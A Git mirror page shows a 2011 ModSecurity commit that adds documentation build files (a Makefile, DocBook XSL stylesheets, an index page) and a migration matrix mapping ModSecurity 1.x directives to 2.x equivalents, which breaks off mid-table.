github_mirrors/ModSecurity
3
0
Fork 1
mirror of https://github.com/owasp-modsecurity/ModSecurity.git synced 2026-01-16 08:27:10 +03:00
Code Issues Packages Projects Releases Wiki Activity

Browse Source
This commit is contained in:
brenosilva
2011-01-06 19:18:48 +00:00
parent e3f0a7f670
commit 47c791938f
196 changed files with 79551 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

45
2.5.13/2.5.x/doc/Makefile Normal file
View File

@@ -0,0 +1,45 @@
FOP = /opt/fop/fop.sh
XALAN = /opt/fop/xalan.sh
JAVA_HOME = /usr/lib/jvm/java-6-sun
ALLDOCS = modsecurity2-apache-reference.pdf modsecurity2-data-formats.pdf modsecurity2-apache-reference.html modsecurity2-data-formats.html html-multipage/index.html index.html
all: $(ALLDOCS)
modsecurity2-apache-reference.pdf: modsecurity2-apache-reference.xml
JAVA_HOME=$(JAVA_HOME); export JAVA_HOME; \
$(FOP) -q -xsl pdf.xsl -xml modsecurity2-apache-reference.xml -pdf modsecurity2-apache-reference.pdf;
modsecurity2-data-formats.pdf: modsecurity2-data-formats.xml
JAVA_HOME=$(JAVA_HOME); export JAVA_HOME; \
$(FOP) -q -xsl pdf.xsl -xml modsecurity2-data-formats.xml -pdf modsecurity2-data-formats.pdf;
modsecurity2-apache-reference.html: modsecurity2-apache-reference.xml
JAVA_HOME=$(JAVA_HOME); export JAVA_HOME; \
$(XALAN) -q -xsl html.xsl -in modsecurity2-apache-reference.xml -param base.dir ./; \
mv index.html modsecurity2-apache-reference.html;
modsecurity2-data-formats.html: modsecurity2-data-formats.xml
JAVA_HOME=$(JAVA_HOME); export JAVA_HOME; \
$(XALAN) -q -xsl html.xsl -in modsecurity2-data-formats.xml -param base.dir ./; \
mv index.html modsecurity2-data-formats.html;
html-multipage/index.html: modsecurity2-apache-reference.xml
JAVA_HOME=$(JAVA_HOME); export JAVA_HOME; \
mkdir html-multipage/; \
$(XALAN) -q -xsl html-chunked.xsl -in modsecurity2-apache-reference.xml -param base.dir html-multipage/; \
cp modsecurity-reference.css html-multipage/; \
cp modsecurity.gif html-multipage/; \
cp trustwave-logo-small.gif html-multipage/; \
cp apache_request_cycle-modsecurity.jpg html-multipage/
index.html: main-index.html
(cp main-index.html index.html && \
VERSION=`grep "<releaseinfo>.*</releaseinfo>" modsecurity2-apache-reference.xml | sed 's/[ \t]*<\/\?releaseinfo>[ \t]*//g'` && \
perl -pi -e "s/\\\$$version/$$VERSION/" index.html)
clean:
rm -rf docindex.html $(ALLDOCS) html-multipage
.PHONY: setup cleanup

BIN
2.5.13/2.5.x/doc/apache_request_cycle-modsecurity.jpg Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 90 KiB

293
2.5.13/2.5.x/doc/html-chunked.xsl Normal file
View File

@@ -0,0 +1,293 @@
<?xml version='1.0'?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:import href="/opt/docbook/xsl/html/chunk.xsl"/>
<!--xsl:import href="/usr/share/xml/docbook/stylesheet/nwalsh/html/chunk.xsl"/-->
<xsl:param name="chunk.first.sections" select="1"/>
<xsl:param name="use.id.as.filename" select="1"/>
<xsl:param name="html.stylesheet">modsecurity-reference.css</xsl:param>
<xsl:template name="user.header.navigation">
<div style="background:#F5F5F5;width:100%;border-top:1px solid #DDDDDD;border-bottom:1px solid #DDDDDD"><table cellpadding="0" cellspacing="0" width="100%"><tr><td><a href="http://www.modsecurity.org"><img border="0" alt="ModSecurity" height="36" width="120" src="modsecurity.gif" style="margin:4px"/></a></td><td align="right"><a href="http://www.trustwave.com"><img border="0" width="100" height="36" src="trustwave-logo-small.gif" style="margin:6px"/></a></td></tr></table></div>
</xsl:template>
<xsl:template name="user.footer.navigation">
<div class="copyright" align="center">Copyright (C) 2004-2010 <a href="http://www.trustwave.com">Trustwave Holdings</a></div>
</xsl:template>
<xsl:template name="article.titlepage.separator">
<hr size="1"/>
</xsl:template>
<xsl:template name="header.navigation">
<xsl:param name="prev" select="/foo"/>
<xsl:param name="next" select="/foo"/>
<xsl:param name="nav.context"/>
<xsl:variable name="home" select="/*[1]"/>
<xsl:variable name="up" select="parent::*"/>
<xsl:variable name="row1" select="$navig.showtitles != 0"/>
<xsl:variable name="row2" select="count($prev) &gt; 0
or (count($up) &gt; 0
and generate-id($up) != generate-id($home)
and $navig.showtitles != 0)
or count($next) &gt; 0"/>
<xsl:if test="$suppress.navigation = '0' and $suppress.header.navigation = '0'">
<div id="navheader">
<xsl:if test="$row1 or $row2">
<table width="100%" summary="Navigation header">
<xsl:if test="$row1">
<tr>
<th colspan="3" align="center">
<xsl:apply-templates select="." mode="object.title.markup"/>
</th>
</tr>
</xsl:if>
<xsl:if test="$row2">
<tr>
<td width="20%" align="left">
<xsl:if test="count($prev)>0">
<a accesskey="p">
<xsl:attribute name="href">
<xsl:call-template name="href.target">
<xsl:with-param name="object" select="$prev"/>
</xsl:call-template>
</xsl:attribute>
<xsl:call-template name="navig.content">
<xsl:with-param name="direction" select="'prev'"/>
</xsl:call-template>
</a>
</xsl:if>
<xsl:text>&#160;</xsl:text>
</td>
<td width="60%" align="center">
<xsl:choose>
<xsl:when test="count($up) > 0
and generate-id($up) != generate-id($home)
and $navig.showtitles != 0">
<xsl:apply-templates select="$up" mode="object.title.markup"/>
</xsl:when>
<xsl:otherwise>&#160;</xsl:otherwise>
</xsl:choose>
<xsl:choose>
<xsl:when test="$home != . or $nav.context = 'toc'">
<a accesskey="h">
<xsl:attribute name="href">
<xsl:call-template name="href.target">
<xsl:with-param name="object" select="$home"/>
</xsl:call-template>
</xsl:attribute>
<xsl:call-template name="navig.content">
<xsl:with-param name="direction" select="'home'"/>
</xsl:call-template>
</a>
<xsl:if test="$chunk.tocs.and.lots != 0 and $nav.context != 'toc'">
<xsl:text>&#160;|&#160;</xsl:text>
</xsl:if>
</xsl:when>
<xsl:otherwise>&#160;</xsl:otherwise>
</xsl:choose>
</td>
<td width="20%" align="right">
<xsl:text>&#160;</xsl:text>
<xsl:if test="count($next)>0">
<a accesskey="n">
<xsl:attribute name="href">
<xsl:call-template name="href.target">
<xsl:with-param name="object" select="$next"/>
</xsl:call-template>
</xsl:attribute>
<xsl:call-template name="navig.content">
<xsl:with-param name="direction" select="'next'"/>
</xsl:call-template>
</a>
</xsl:if>
</td>
</tr>
</xsl:if>
</table>
</xsl:if>
<xsl:if test="$header.rule != 0">
<hr size="1"/>
</xsl:if>
</div>
</xsl:if>
</xsl:template>
<!-- ==================================================================== -->
<xsl:template name="footer.navigation">
<xsl:param name="prev" select="/foo"/>
<xsl:param name="next" select="/foo"/>
<xsl:param name="nav.context"/>
<xsl:variable name="home" select="/*[1]"/>
<xsl:variable name="up" select="parent::*"/>
<xsl:variable name="row1" select="count($prev) &gt; 0
or count($up) &gt; 0
or count($next) &gt; 0"/>
<xsl:variable name="row2" select="($prev and $navig.showtitles != 0)
or (generate-id($home) != generate-id(.)
or $nav.context = 'toc')
or ($chunk.tocs.and.lots != 0
and $nav.context != 'toc')
or ($next and $navig.showtitles != 0)"/>
<xsl:if test="$suppress.navigation = '0' and $suppress.footer.navigation = '0'">
<div id="navfooter">
<xsl:if test="$footer.rule != 0">
<hr size="1"/>
</xsl:if>
<xsl:if test="$row1 or $row2">
<table width="100%" summary="Navigation footer">
<xsl:if test="$row1">
<tr>
<td width="40%" align="left">
<xsl:if test="count($prev)>0">
<a accesskey="p">
<xsl:attribute name="href">
<xsl:call-template name="href.target">
<xsl:with-param name="object" select="$prev"/>
</xsl:call-template>
</xsl:attribute>
<xsl:call-template name="navig.content">
<xsl:with-param name="direction" select="'prev'"/>
</xsl:call-template>
</a>
</xsl:if>
<xsl:text>&#160;</xsl:text>
</td>
<td width="20%" align="center">
<xsl:choose>
<xsl:when test="count($up)&gt;0
and generate-id($up) != generate-id($home)">
<a accesskey="u">
<xsl:attribute name="href">
<xsl:call-template name="href.target">
<xsl:with-param name="object" select="$up"/>
</xsl:call-template>
</xsl:attribute>
<xsl:call-template name="navig.content">
<xsl:with-param name="direction" select="'up'"/>
</xsl:call-template>
</a>
</xsl:when>
<xsl:otherwise>&#160;</xsl:otherwise>
</xsl:choose>
</td>
<td width="40%" align="right">
<xsl:text>&#160;</xsl:text>
<xsl:if test="count($next)>0">
<a accesskey="n">
<xsl:attribute name="href">
<xsl:call-template name="href.target">
<xsl:with-param name="object" select="$next"/>
</xsl:call-template>
</xsl:attribute>
<xsl:call-template name="navig.content">
<xsl:with-param name="direction" select="'next'"/>
</xsl:call-template>
</a>
</xsl:if>
</td>
</tr>
</xsl:if>
<xsl:if test="$row2">
<tr>
<td width="40%" align="left" valign="top">
<xsl:if test="$navig.showtitles != 0">
<xsl:apply-templates select="$prev" mode="object.title.markup"/>
</xsl:if>
<xsl:text>&#160;</xsl:text>
</td>
<td width="20%" align="center">
<xsl:choose>
<xsl:when test="$home != . or $nav.context = 'toc'">
<a accesskey="h">
<xsl:attribute name="href">
<xsl:call-template name="href.target">
<xsl:with-param name="object" select="$home"/>
</xsl:call-template>
</xsl:attribute>
<xsl:call-template name="navig.content">
<xsl:with-param name="direction" select="'home'"/>
</xsl:call-template>
</a>
<xsl:if test="$chunk.tocs.and.lots != 0 and $nav.context != 'toc'">
<xsl:text>&#160;|&#160;</xsl:text>
</xsl:if>
</xsl:when>
<xsl:otherwise>&#160;</xsl:otherwise>
</xsl:choose>
<xsl:if test="$chunk.tocs.and.lots != 0 and $nav.context != 'toc'">
<a accesskey="t">
<xsl:attribute name="href">
<xsl:apply-templates select="/*[1]"
mode="recursive-chunk-filename">
<xsl:with-param name="recursive" select="true()"/>
</xsl:apply-templates>
<xsl:text>-toc</xsl:text>
<xsl:value-of select="$html.ext"/>
</xsl:attribute>
<xsl:call-template name="gentext">
<xsl:with-param name="key" select="'nav-toc'"/>
</xsl:call-template>
</a>
</xsl:if>
</td>
<td width="40%" align="right" valign="top">
<xsl:text>&#160;</xsl:text>
<xsl:if test="$navig.showtitles != 0">
<xsl:apply-templates select="$next" mode="object.title.markup"/>
</xsl:if>
</td>
</tr>
</xsl:if>
</table>
</xsl:if>
</div>
</xsl:if>
</xsl:template>
<!--
<xsl:template name="nongraphical.admonition">
<xsl:variable name="id">
<xsl:call-template name="object.id"/>
</xsl:variable>
<fo:block space-before.minimum="0.8em"
space-before.optimum="1em"
space-before.maximum="1.2em"
start-indent="0.25in"
end-indent="0.25in"
border-top="0.5pt solid black"
border-bottom="0.5pt solid black"
padding-top="4pt"
padding-bottom="4pt"
id="{$id}">
<xsl:if test="$admon.textlabel != 0 or title">
<fo:block keep-with-next='always'
xsl:use-attribute-sets="admonition.title.properties">
<xsl:apply-templates select="." mode="object.title.markup"/>
</fo:block>
</xsl:if>
<fo:block xsl:use-attribute-sets="admonition.properties">
<xsl:apply-templates/>
</fo:block>
</fo:block>
</xsl:template>
-->
</xsl:stylesheet>

21
2.5.13/2.5.x/doc/html.xsl Normal file
View File

@@ -0,0 +1,21 @@
<?xml version='1.0'?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:import href="/opt/docbook/xsl/html/onechunk.xsl"/>
<!--xsl:import href="/usr/share/xml/docbook/stylesheet/nwalsh/html/onechunk.xsl"/-->
<xsl:template name="user.header.navigation">
<div style="background:#F5F5F5;width:100%;border-top:1px solid #DDDDDD;border-bottom:1px solid #DDDDDD"><table cellpadding="0" cellspacing="0" width="100%"><tr><td><a href="http://www.modsecurity.org"><img border="0" alt="ModSecurity" height="36" width="120" src="modsecurity.gif" style="margin:4px"/></a></td><td align="right"><a href="http://www.trustwave.com"><img border="0" width="100" height="36" src="trustwave-logo-small.gif" style="margin:6px"/></a></td></tr></table></div>
</xsl:template>
<xsl:template name="user.footer.navigation">
<div class="copyright" align="center">Copyright (C) 2004-2010 <a href="http://www.trustwave.com">Trustwave Holdings</a></div>
</xsl:template>
<xsl:template name="article.titlepage.separator">
<hr size="1"/>
</xsl:template>
<xsl:param name="html.stylesheet">modsecurity-reference.css</xsl:param>
</xsl:stylesheet>

35
2.5.13/2.5.x/doc/main-index.html Normal file
View File

@@ -0,0 +1,35 @@
<html>
<head>
<META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>ModSecurity for Apache Reference</title>
<link href="modsecurity-reference.css" rel="stylesheet" type="text/css">
</head>
<body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF">
<div style="background:#F5F5F5;width:100%;border-top:1px solid #DDDDDD;border-bottom:1px solid #DDDDDD">
<table width="100%" cellspacing="0" cellpadding="0"><tr><td><a href="http://www.modsecurity.org"><img style="margin:4px" src="modsecurity.gif" width="120" height="36" alt="ModSecurity" border="0"></a></td><td align="right"><a
href="http://www.trustwave.com"><img style="margin:6px" src="trustwave-logo-small.gif"
height="36" width="100" border="0"></a></td></tr></table>
</div>
<br>
<hr size="1">
<h2>ModSecurity for Apache Documentation</h2>
<p>$version</p>
<ul>
<li><a href="html-multipage/index.html">HTML, one page per chapter</a></li>
<li><a href="modsecurity2-apache-reference.html">HTML, all in one page</a></li>
<li><a href="modsecurity2-apache-reference.pdf">PDF</a>
</ul>
<hr size="1">
<div align="center" class="copyright">Copyright (C) 2004-2006 <a
href="http://www.trustwave.com">Trustwave Holdings</a></div>
</body>
</html>

74
2.5.13/2.5.x/doc/migration-matrix.html Normal file
View File

@@ -0,0 +1,74 @@
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>ModSecurity Migration Matrix</title><link rel="stylesheet" href="html.css" type="text/css"><meta name="generator" content="DocBook XSL Stylesheets V1.70.1"></head><body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF"><div class="article" lang="en"><div class="titlepage"><div><div><h2 class="title"><a name="d0e1"></a>ModSecurity Migration Matrix</h2></div><div><p class="releaseinfo">Version 1.0 / (April 10, 2007)</p></div><div><p class="copyright">Copyright &copy; 2004-2007 Trustwave Holdings, Inc. (<a href="http://www.trustwave.com" target="_top">http://www.trustwave.com</a>)</p></div></div><hr></div><div class="section" lang="en"><div class="titlepage"><div><div><h2 class="title" style="clear: both"><a name="01-introduction"></a>Migration from 1.x to 2.x</h2></div></div></div><div class="section" lang="en"><div class="titlepage"></div><p>If you are already using an older version of ModSecurity and want to upgrade/migrate your existing custom rules, you will need to ensure that you properly translate all of your Directives to their corresponding 2.0 counterparts. Some directives have simply changed names, however some directives actually behave differently so it is important that you also review the entire 2.0 Reference Manual.
The migration matrix show below should help you to translate ModSecurity 1.X directives to the 2.0 values. There are also some notes that provide additional information is a directive significantly changed how it operates.
</p><table border="1" id="d0e21"><tr><td><span class="bold"><strong>Feature/Capability</strong></span></td><td><span class="bold"><strong>ModSecurity 1.x</strong></span></td><td><span class="bold"><strong>ModSecurity 2.x</strong></span></td><td><span class="bold"><strong>Notes</strong></span></td><td><span class="bold"><strong>How To Upgrade</strong></span></td></tr><tr><td><span class="bold"><strong>Apache Version Supported</strong></span></td><td>Apache 1.x/2.x</td><td>Apache 2.x Only</td><td>ModSecurity 2.0 will only work with Apache 2.x and not the older 1.3 version.</td><td>If you are mainly an Apache 1.3 shop and/or you have other web servers that you want to protect (such as IIS) an alternative solution is to deploy an Apache 2.x reverse proxy server and implement ModSecurity 2.x on it.</td></tr><tr><td><span class="bold"><strong>Installation</strong></span></td><td>Can be installed as either a DSO module or as a statically compiled module.</td><td>Can currently only be installed as a DSO module.</td><td>In 1.x, you could use apxs directly, while in 2.x you must use the provided Makefile.</td><td>If you can not use DSOs in your current Apache configs, you may look at implementing a front-end Apache reverse proxy server.</td></tr><tr><td><span class="bold"><strong>Configuration - IfModule</strong></span></td><td>Apache 1.x - &lt;IfModule mod_security.c&gt;
Apache 2.x - &lt;IfModule security_module&gt;</td><td>&lt;IfModule security2_module&gt;</td><td>The syntax of using IfModule has changed between Apache 1.x and 2.x</td><td>Make sure that any existing &lt;IfModule&gt; directives uses the correct syntax.</td></tr><tr><td><span class="bold"><strong>Processing Phases Supported</strong></span></td><td>2</td><td>5</td><td>ModSecurity 1.x supports:<div class="itemizedlist"><ul type="disc"><li><p>Inbound - which corresponds to current Mod 2.x Request Body phase and the Apache &#8220;fixups&#8221; phase.</p></li><li><p>Outbound - which corresponds to current Mod 2.x Response Body phase and just after the Apache &#8220;response&#8221; processing phase.</p></li></ul></div>ModSecurity 2.x supports: <div class="itemizedlist"><ul type="disc"><li><p>Request Headers &#8211; which corresponds with the Apache &#8220;post-read-request&#8221; phase.</p></li><li><p>Request Body &#8211; which corresponds with the Apache &#8220;fixups&#8221; phase.</p></li><li><p>Response Headers &#8211; which corresponds to the Apache &#8220;response&#8221; phase.</p></li><li><p>Response Body &#8211; which corresponds to just after the Apache &#8220;response&#8221; phase.</p></li><li><p>Logging - which is the Apache logging phase.</p></li></ul></div></td><td>If you are translating existing 1.x rules (SecFilter/SecFilterSelective) then you should use phase:2 in the new rule syntax. Translate existing OUTPUT rules to run in phase:4.</td></tr><tr><td><span class="bold"><strong>Directive to turn On/Off the Rule Engine</strong></span></td><td>SecFilterEngine</td><td>SecRuleEngine
ctl:ruleEngine=</td><td><div class="itemizedlist"><ul type="disc"><li><p>1.x &#8211; values were On, Off and DynamicOnly and was a Global directive.</p></li><li><p>2.x - values are On, Off or DetectionOnly.</p></li><li><p>2.x &#8211; the &#8220;ctl&#8221; action can control the RuleEngine dynamically for individual requests.</p></li></ul></div></td><td>Replace SecFilterEngine with SecRuleEngine. The DynamicOnly mode is not supported in ModSecurity 2.x because it was sometimes difficult for ModSecurity to determine if a particular request was dynamic in nature or not. Use of AddType vs. AddHandler would cause problems. Since this logic relies on the internal (and not entirely documented) workings of Apache and on the chosen configuration it also makes it somewhat unpredictable.</td></tr><tr><td><span class="bold"><strong>Directive to handle the Audit Engine</strong></span></td><td>SecAuditEngine On, Off, RelevantOnly, DynamicOrRelevant</td><td>SecAuditEngine On, Off, RelevantOnly</td><td>In 2.x, the DynamicOrRelevant option was discontinued.</td><td>If you are using DynamicOrRelevant then switch it to RelevantOnly.</td></tr><tr><td><span class="bold"><strong>Default Rule Action</strong></span></td><td>SecFilterDefaultAction</td><td>SecDefaultAction</td><td><div class="itemizedlist"><ul type="disc"><li><p>1.x &#8211; SecFilterDefaultAction could be used anywhere in the config and it would be picked up by all rules.</p></li><li><p>2.x &#8211; SecDefaultAction must come before rules and be specified in each context. The default setting for this directive (if it is not specified otherwise) is &#8211;
<code class="literal">SecDefaultAction phase:2,log,deny,status:403,\</code></p><p><code class="literal">t:lowercase,t:replaceNulls,\</code></p><p><code class="literal">t:compressWhitespace</code></p></li></ul></div></td><td>Replace SecFilterDefaultAction with SecDefaultAction. Optionally, you can group rules together where you would like to use the same action and then specify a SecDefaultAction line before each group.
Also keep in mind that while most actions specified on individual rules will supersede those specified in SecDefaultAction, transformation functions are additive. So, if you specify a &#8220;t:base64Decode&#8221; transformation function to a rule, it will be added after the lowercase, replaceNulls and compressWhitespace transformation functions.</td></tr><tr><td><span class="bold"><strong>Debug Logging</strong></span></td><td>SecFilterDebugLog
SecFilterDebugLogLevel</td><td>SecDebugLog
SecDebugLogLevel</td><td>Name change only.</td><td>Change the names of these directives to their 2.x counterparts.</td></tr><tr><td><span class="bold"><strong>Rule Directive(s)</strong></span></td><td>SecFilter
SecFilterSelective</td><td>SecRule</td><td><div class="itemizedlist"><ul type="disc"><li><p>In Mod 1.x, SecFilter and SecFilterSelective were case insensitive. </p></li><li><p>In Mod 2.x, the case of data is not altered unless the lowercase transformation funce is used.
SecRule has essentially the same rule syntax as SecFilterSelective.</p></li></ul></div></td><td>Replace SecFilterSelective with SecRule and make sure to translate the variable tested according to this list.
Replace any SecFilter with a new SecRule directive. You will need to specify a new Variable location and a phase. You can optionally specify a disruptive action, otherwise it will be inherited from a previous SecDefaultAction.
</td></tr><tr><td><span class="bold"><strong>Rule Exceptions</strong></span></td><td>Whitelist approach &#8211; use pass, allow actions
False Positive Approach &#8211; use SecFilterRemove</td><td>Whitelist approach &#8211; use pass, allow and ctl actions.
False Positive Approach &#8211; use SecRuleRemoveById and Apache Scope context</td><td>In Mod 2.x, using the &#8220;allow&#8221; action may not be enough to truly let a request through as &#8220;allow&#8221; only applies to the current processing phase. This means that rules in subsequent phases may act on the request. This is why you need to also use the &#8220;ctl:ruleEngine=Off&#8221; action if you really want to let a request through.</td><td>See Blog post on handling false positives and creating custom rules - http://www.modsecurity.org/blog/archives/2007/02/handling_false.html</td></tr><tr><td><span class="bold"><strong>Directive to control rule inheritance to Apache Scope locations (Virtual Hosts, Location, Directory)</strong></span></td><td>SecFilterInheritance</td><td>SecRuleInheritance</td><td>The best use of this directive is when you want to start with a &#8220;clean slate&#8221; so you can use SecRuleInheritance Off and then specify your new rule sets.
Note &#8211; Rule Inheritance does not work across Apache Scope directives (such as Vhosts, Location and Directory directives). This means that you can not use SecRuleInheritance On to inherit a SecDefaultAction directive within these new contexts. This is an issue with the way that Apache inherits contexts. It is for this reason that we recommend that you specify new SecDefaultAction directives within each Apache scope location that you create.</td><td>Translate any existing &#8220;SecFilterInheritance Off&#8221; rules directly to &#8220;SecRuleInheritance Off&#8221;.
Then replace any &#8220;SecFilterInheritance On&#8221; directives inside Apache Scope context locations with a new SecDefaultAction directive and then import the rules that you want with standard Apache Include directives.</td></tr><tr><td><span class="bold"><strong>Ability to manage rules in Apache Scope locations</strong></span></td><td>SecFilterImport
SecFilterRemove</td><td>SecRuleRemoveById
SecRuleRemoveByMsg</td><td>SecFilterRemove is now SecRuleRemoveById or SecRuleRemoveByMsg. SecFilterImport is no longer supported.</td><td>Change all of your existing SecFilterRemove rules to SecRuleRemoveById. For any existing SecFilterImport rules, you will need to either copy the rule into the context or use an Apache Include Directive to include entire files (such as including the Core Rules files).</td></tr><tr><td><span class="bold"><strong>Ability to verify URL/UTF8 Encodings</strong></span></td><td>SecFilterCheckURLEncoding
SecFilterCheckUnicodeEncoding </td><td>@validateUrlEncoding
@validateUtf8Encoding </td><td>In Mod 1.x, these were Global Directives and in Mod 2.x they are Operators that can be applied selectively to each rule.</td><td>Add the rules that will do exactly the same as the directives</td></tr><tr><td><span class="bold"><strong>Ability to enforce a Byte Range (allowed character set)</strong></span></td><td>SecFilterForceByteRange</td><td>@validateByteRange</td><td>In Mod 1.x, this was a Global Directive and in Mod 2.x it is an Operator that can be applied selectively to each rule.
In Mod 1.x, this directive did not check POST payloads when multipart/form-data encoding was used.</td><td>You can now add @validateByteRange operators to individual rules. This helps if you have differences in allowed character sets for different portions of the web application.</td></tr><tr><td><span class="bold"><strong>Ability to Normalize/Transform Request Data</strong></span></td><td>ModSecurity 1.x automatically applied the following transformations:<div class="itemizedlist"><ul type="disc"><li><p>On Windows only, convert \ to /</p></li><li><p>Reduce /./ to /</p></li><li><p>Reduce // to /</p></li><li><p>Decode URL-encoded characters</p></li><li><p>Converts Null Bytes to Space character</p></li></ul></div></td><td><div class="itemizedlist"><ul type="disc"><li><p>base64Decode </p></li><li><p>base64Encode</p></li><li><p>compressWhitespace</p></li><li><p>escapeSeqDecode</p></li><li><p>hexDecode</p></li><li><p>hexEncode</p></li><li><p>htmlEntityDecode</p></li><li><p>lowercase</p></li><li><p>md5</p></li><li><p>none</p></li><li><p>normalisePath</p></li><li><p>normalisePathWin</p></li><li><p>removeNulls</p></li><li><p>removeWhitespace</p></li><li><p>replaceComments</p></li><li><p>replaceNulls</p></li><li><p>urlDecode</p></li><li><p>urlDecodeUni</p></li><li><p>urlEncode</p></li><li><p>sha1</p></li></ul></div></td><td>In Mod 1.x, the normalization functions were implicit and you could not control them. In Mod 2.x, not normalization is done by default. There are now &#8220;Transformation Functions&#8221; that allow you to selectively apply normalizations and other features.</td><td>You should add the appropriate transformation functions to either SecDefaultAction directive or each individual rule. See the Core Rules files for examples.
Keep in mind that transformation functions are inherited from parent SecDefaultAction directives. Care should be taken to ensure that RegEx patterns match the data after transformation functions are applied. In order to avoid possible unwanted inherited transformation functions, use &#8220;t:none&#8221; to either not apply any transformation functions or you can then specify specific transformation functions after &#8220;t:none&#8221;.</td></tr><tr><td><span class="bold"><strong>Ability to specify an arbitrary Request Header in a rule</strong></span></td><td>HEADER_headername
HTTP_headername</td><td>REQUEST_HEADERS REQUEST_HEADERS:headername
REQUEST_HEADERS:/RegEx/</td><td>The HTTP_headername syntax has been superseded by the new REQUEST_HEADERS:headername syntax and will not be supported in future releases. The advantage to using the new syntax is that you can also use RegEx in the headername portion.</td><td>Translate any existing HTTP_headername directives to REQUEST_HEADERS:headername. Also consider consolidating header checks by using Regular Expressions in the header name portion of the Variable.</td></tr><tr><td><span class="bold"><strong>Variable/Location for the entire URL Request Line</strong></span></td><td>THE_REQUEST</td><td>REQUEST_LINE</td><td>Functions the same. The variable includes the Request Method, URI and HTTP version data.</td><td>Translate any existing THE_REQUEST directives to REQUEST_LINE directives.</td></tr><tr><td><span class="bold"><strong>Variable/Location for Arguments</strong></span></td><td>ARG_name</td><td>ARGS:name
ARGS:/RegEx/</td><td>Similar to the HTTP_headername situation, the advantage of the new syntax is the ability to use RegEx in the argument name.</td><td>Translate any existing ARG_name directives to ARGS:name directives.</td></tr><tr><td><span class="bold"><strong>Accessing Request Bodies</strong></span></td><td>SecFilterScanPOST
POST_PAYLOAD</td><td>SecRequestBodyAccess
Phase:2
REQUEST_BODY</td><td>In 2.x, the directive is now called SecRequestBodyAccess and it is more flexible than SecFilterScanPOST as it is able to inspect all request bodies (such as PUT and XML, etc&#8230;) and not just POST payloads.</td><td>Replace the existing SecFilterScanPOST directive with SecRequestBodyAccess.
For individual rules where you want to inspect the request bodies, you must specify REQUEST_BODY as the variable and you also must ensure that it is running in phase:2 (by either an inherited SecDefaultAction setting or by explicitly specifying the phase within the rule action).</td></tr><tr><td><span class="bold"><strong>Ability to disable POST/Request buffering dynamically</strong></span></td><td>MODSEC_NOPOSTBUFFERING</td><td>ctl:requestBodyAccess=Off</td><td>In 2.x, you can use the ctl action to turn on/off request body access on a per rule basis.</td><td>Take any existing entries in the httpd.conf file that set the MODSEC_NOPOSTBUFFERING Env variable and translate them to Mod 2.x rules.</td></tr><tr><td><span class="bold"><strong>Accessing Cookies</strong></span></td><td>COOKIES
COOKIES_COUNT
COOKIES_NAMES
COOKIES_VALUES
COOKIE_name</td><td>REQUEST_HEADERS:Cookie
REQUEST_COOKIES_NAMES REQUEST_COOKIES_NAMES:name
REQUEST_COOKIES_NAMES:/RegEx/
REQUEST_COOKIES
REQUEST_COOKIES:name REQUEST_COOKIES:/RegEx/</td><td> In 2.x, you can use the &#8220;&amp;&#8221; character to &#8220;count&#8221; the number of variables.
While there are different ways to access request cookies, the main difference between them are that REQUEST_HEADERS:Cookie will include all of the &#8220;raw&#8221; Cookie data while any of the REQUEST_COOKIES variable values are parsed.</td><td>Translate rules as follows &#8211;
Mod 1.x -&gt; Mod 2.x
COOKIES -&gt; REQUEST_COOKIES
COOKIES_COUNT -&gt; &amp;REQUEST_COOKIES
COOKIES_NAMES -&gt; REQUEST_COOKIES_NAMES COOKIES_VALUES -&gt; REQUEST_COOKIES
COOKIE_name -&gt; REQUEST_COOKIES:name</td></tr><tr><td><span class="bold"><strong>Counting Variables</strong></span></td><td>ARGS_COUNT
COOKIES_COUNT
HEADERS_COUNT
FILES_COUNT</td><td>&amp;ARGS
&amp;REQUEST_COOKIES &amp;REQUEST_HEADERS
&amp;FILES</td><td>In 2.x, prepending the &#8220;&amp;&#8221; character will count the number of variables. Example &#8211;
1.x &#8211; HEADERS_COUNT
2.x - &amp;REQUEST_HEADERS</td><td>Translate existing 1.x rules as listed.</td></tr><tr><td><span class="bold"><strong>Accessing HTTP Status Code</strong></span></td><td>OUTPUT_STATUS</td><td>RESPONSE_STATUS
Phase:3</td><td>In 2.x, you need to specify both the RESPONSE_STATUS variable and phase:3 with the rule.</td><td>Translate any existing 1.x OUTPUT STATUS rules to use RESPONSE_STATUS and phase:3.</td></tr><tr><td><span class="bold"><strong>Accessing Response Bodies/Post Payloads</strong></span></td><td>SecFilterScanOutput
SecFilterOutputMimeTypes
OUTPUT</td><td>SecResponseBodyAccess
SecResponseBodyMimeTypes
RESPONSE_BODY
Phase:4</td><td>In 1.x, neither skipnext nor chain could be used on the OUTPUT location.
In 2.x, both actions can be used on RESPONSE_BODY</td><td>Translate directives/rules as follows &#8211;
Mod 1.x -&gt; Mod 2.x
SecFilterScanOutput -&gt; SecResponseBodyAccess
SecFilterOutputMimeTypes -&gt; SecResponseBodyMimeTypes
OUTPUT -&gt; RESPONSE_BODY/Phase:4</td></tr><tr><td><span class="bold"><strong>Cookie Normalization</strong></span></td><td>SecFilterCookieFormat
SecFilterNormalizeCookies</td><td>SecCookieFormat</td><td>SecFilterNormalizeCookies is no longer supported as Mod 2.x transformation functions can now be used to normalize all Variables including Cookie data.</td><td>Change SecFilterCookieFormat to SecCookieFormat.
When specifying Cookie variables, then apply the applicable transformation functions in the action field of the rule.</td></tr><tr><td><span class="bold"><strong>Ability to skip rules</strong></span></td><td>skipnext</td><td>skip</td><td>In Mod 2.x &#8211; skip takes into account chained rulesets and treats them as 1 rule.
In Mod 1.x &#8211; skipnext treated each rule directive as an individual rule regardless of whether or not they were tied together as a chained ruleset.</td><td>Translate all skipnext rules to skip, however make sure to factor in any chained rulesets that may follow and adjust the skip number accordingly.</td></tr><tr><td><span class="bold"><strong>Adding/Removing Audit Log Data on a per rule basis</strong></span></td><td>logparts</td><td>clt:auditLogParts=</td><td>The rules function the same.</td><td>Translate any existing logparts actions to the ctl:auditLogParts equivalent.</td></tr><tr><td><span class="bold"><strong>Inspecting uploaded files</strong></span></td><td>SecUploadApproveScript</td><td>@inspectFile
